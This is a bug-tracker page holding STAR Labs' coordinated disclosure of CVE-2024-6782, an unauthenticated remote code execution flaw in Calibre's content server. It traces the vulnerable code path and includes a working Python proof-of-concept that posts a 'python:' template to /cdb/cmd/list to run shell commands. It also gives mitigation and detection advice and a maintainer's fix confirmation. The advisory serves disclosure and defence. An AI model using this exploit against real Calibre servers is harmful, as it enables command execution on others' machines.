CVE-2024-6782 - STAR-2024-0038 - Calibre Remote Code Execution

Bug #2075128 reported by STAR Labs SG Pte. Ltd.
256
This bug affects 1 person
Affects Status Importance Assigned to Milestone
calibre
Fix Released
Undecided
Unassigned

Bug Description

# CVE-2024-6782 - STAR-2024-0038 - Calibre Remote Code Execution

## Summary:

| **Product** | Calibre |
| --------------------------- | --------------------------------------------------------------------------------------------------------- |
| **Vendor** | Calibre |
| **Severity** | Critical - Unprivileged adversaries may exploit software vulnerabilities to perform remote code execution |
| **Affected Versions** | 6.9.0 ~ 7.14.0 (latest version as of writing) |
| **Tested Versions** | 7.14.0 |
| **CVE Identifier** | CVE-2024-6782 |
| **CVE Description** | Improper Access Control in Calibre Content Server allows remote code execution |
| **CWE Classification(s)** | CWE-863: Incorrect Authorization |
| **CAPEC Classification(s)** | CAPEC-253: Remote Code Inclusion |

## CVSS3.1 Scoring System:

**Base Score:** 9.8 (Critical)
**Vector String:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

| **Metric** | **Value** |
| ---------------------------- | --------- |
| **Attack Vector (AV)** | Network |
| **Attack Complexity (AC)** | Low |
| **Privileges Required (PR)** | None |
| **User Interaction (UI)** | None |
| **Scope (S)** | Unchanged |
| **Confidentiality \(C)** | High |
| **Integrity (I)** | High |
| **Availability (A)** | High |

## Product Overview:

Calibre is a cross-platform free and open-source suite of e-book software. Calibre supports organizing existing e-books into virtual libraries, displaying, editing, creating and converting e-books, as well as syncing e-books with a variety of e-readers. Editing books is supported for EPUB and AZW3 formats. Books in other formats like MOBI must first be converted to those formats, if they are to be edited. Calibre also has a large collection of community contributed plugins.

Calibre also offers a powerful content server feature. This allows users to share their Calibre libraries over the internet, making it easy to access your e-book collection from anywhere, at any time

## Vulnerability Summary:

Unauthenticated remote code execution via Calibre's content server in Calibre <= 7.14.0.

## Vulnerability Details:

The source of the vulnerability is in `cmd_list.py`, that is called by the `cdb.py` router. The router imports a secondary module (in the format `cmd_*.py`) based on the incoming HTTP request's path. In this case, a request to `/cdb/cmd/list` will result in the file `cmd_list.py` being imported and its `implementation()` function will be executed. Additionally, the request body's content is used as `*args`.

> The list of `cmd_*.py` files can be obtained from the `src/calibre/db/cli/` directory.

```python
# src/calibre/srv/cdb.py#L28
@endpoint('/cdb/cmd/{which}/{version=0}', postprocess=msgpack_or_json, methods=receive_data_methods, cache_control='no-cache')
def cdb_run(ctx, rd, which, version):
    try:
        m = module_for_cmd(which)
    except ImportError:
        raise HTTPNotFound(f'No module named: {which}')
    if not getattr(m, 'readonly', False): # [1]
        ctx.check_for_write_access(rd)
    [...snip...]
    try:
        result = m.implementation(db, partial(ctx.notify_changes, db.backend.library_path), *args) # [2]
```

The vulnerable function is located at `cmd_list.py::implementation()`, so at [1], if the `readonly` module variable is `False` or absent, the function `check_for_write_access()` would not trigger and code execution can continue. The `implementation()` function of `cmd_list.py` module is then executed with user-controlled arguments `*args` at [2].

In the `cmd_list::implementation()` function, it can be seen that user-input is used as a search string to query the library for books. Additionally, a template can also be supplied by the user to be run against the search results.

```python
# src/calibre/db/cli/cmd_list.py#L15
readonly = True
[...snip...]
def implementation(
    db, notify_changes, fields, sort_by, ascending, search_text, limit, template=None
):
    [...snip...]
    if field == 'template':
        vals = {}
        global_vars = {}
        if formatter is None:
            from calibre.ebooks.metadata.book.formatter import SafeFormat
            formatter = SafeFormat()
        for book_id in book_ids:
            mi = db.get_proxy_metadata(book_id)
            vals[book_id] = formatter.safe_format(template, {}, 'TEMPLATE ERROR', mi, global_vars=global_vars)
```

The template is processed with `formatter.safe_format()`, which evaluates the user-controlled template string without any proper input sanitisation.

```python
# src/calibre/utils/formatter.py#L1936
def safe_format(self, fmt, kwargs, error_value, book,
    column_name=None, template_cache=None,
    strip_results=True, template_functions=None,
    global_vars=None, break_reporter=None,
    python_context_object=None):
 state = self.save_state()
 [...snip...]
  try:
   ans = self.evaluate(fmt, [], kwargs, self.global_vars, break_reporter=break_reporter)
```

Finally, the `evaluate()` function appears to allow for arbitrary execution of any Python code if it is prefixed with `python:`.

```python
# src/calibre/utils/formatter.py#L1840
def evaluate(self, fmt, args, kwargs, global_vars, break_reporter=None):
 if fmt.startswith('program:'):
  ans = self._eval_program(kwargs.get('$', None), fmt[8:],
         self.column_name, global_vars, break_reporter)
 elif fmt.startswith('python:'):
  ans = self._eval_python_template(fmt[7:], self.column_name)
 else:
  ans = self.vformat(fmt, args, kwargs)
  if self.strip_results:
   ans = self.compress_spaces.sub(' ', ans)
 if self.strip_results:
  ans = ans.strip(' ')
 return ans
```

![](calibre-rce.gif)

## Exploit Conditions:

This vulnerability can be exploited by an unauthenticated attacker with the default configuration of Calibre's content server which has basic authentication disabled by default, or by any privileged authenticated attacker.

## Proof-of-Concept:

We have tried our best to make the PoC as portable and cross-platform as possible. This report includes a functional exploit written in Python3 that automatically performs the remote code execution.

A sample exploit script is shown below:

```python
#! /usr/bin/env python3
# PoC for: CVE-2024-6782
# Description: Unauthenticated remote code execution in calibre <= 7.14.0
# Written by: Amos Ng (@LFlare)
import json
import sys

import requests

_target = "http://localhost:8080"

def exploit(cmd):
    r = requests.post(
        f"{_target}/cdb/cmd/list",
        headers={"Content-Type": "application/json"},
        json=[
            ["template"],
            "", # sortby: leave empty
            "", # ascending: leave empty
            "", # search_text: leave empty, set to all
            1, # limit results
            f"python:def evaluate(a, b):\n import subprocess\n try:\n return subprocess.check_output(['cmd.exe', '/c', '{cmd}']).decode()\n except Exception:\n return subprocess.check_output(['sh', '-c', '{cmd}']).decode()", # payload
        ],
    )

    try:
        print(list(r.json()["result"]["data"]["template"].values())[0])
    except Exception as e:
        print(r.text)

if __name__ == "__main__":
    exploit("whoami")
```

## Suggested Mitigations:

Ensure that access controls on publicly accessible endpoints are properly implemented. If code execution is allowed by design, the server should not be exposed publicly, or it should be heavily restricted to highly privileged users only.

## Detection Guidance:

It is possible to detect potential exploitation of the vulnerability by checking the server's access logs for repeated POST requests to the `/cdb/cmd/list` endpoint.

## Credits:

Amos Ng ([@LFlare](https://twitter.com/lflarey)) of STAR Labs SG Pte. Ltd. ([@starlabs_sg](https://twitter.com/starlabs_sg))

## Vulnerability Disclosure:

This vulnerability report is subject to a 120 day disclosure deadline as per [STAR Labs SG Pte. Ltd.'s Vulnerability Disclosure Policy](https://starlabs.sg/advisories/STAR%20Labs%20SG%20Pte.%20Ltd.%20Vulnerability%20Disclosure%20Policy.pdf). After 120 days have elapsed, the vulnerability report will be published to the public by [STAR Labs SG Pte. Ltd.](https://starlabs.sg/) (STAR Labs).

The scheduled disclosure date is _**27 Nov, 2024**_. Disclosure at an earlier date is also possible if agreed upon by all parties.

Revision history for this message
STAR Labs SG Pte. Ltd. (starlabs-sg) wrote :
Revision history for this message
Kovid Goyal (kovid) wrote :

Fixed in branch master. The fix will be in the next release. calibre is usually released every alternate Friday.

Changed in calibre:
status: New → Fix Released
Kovid Goyal (kovid)
information type: Private Security → Public Security
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.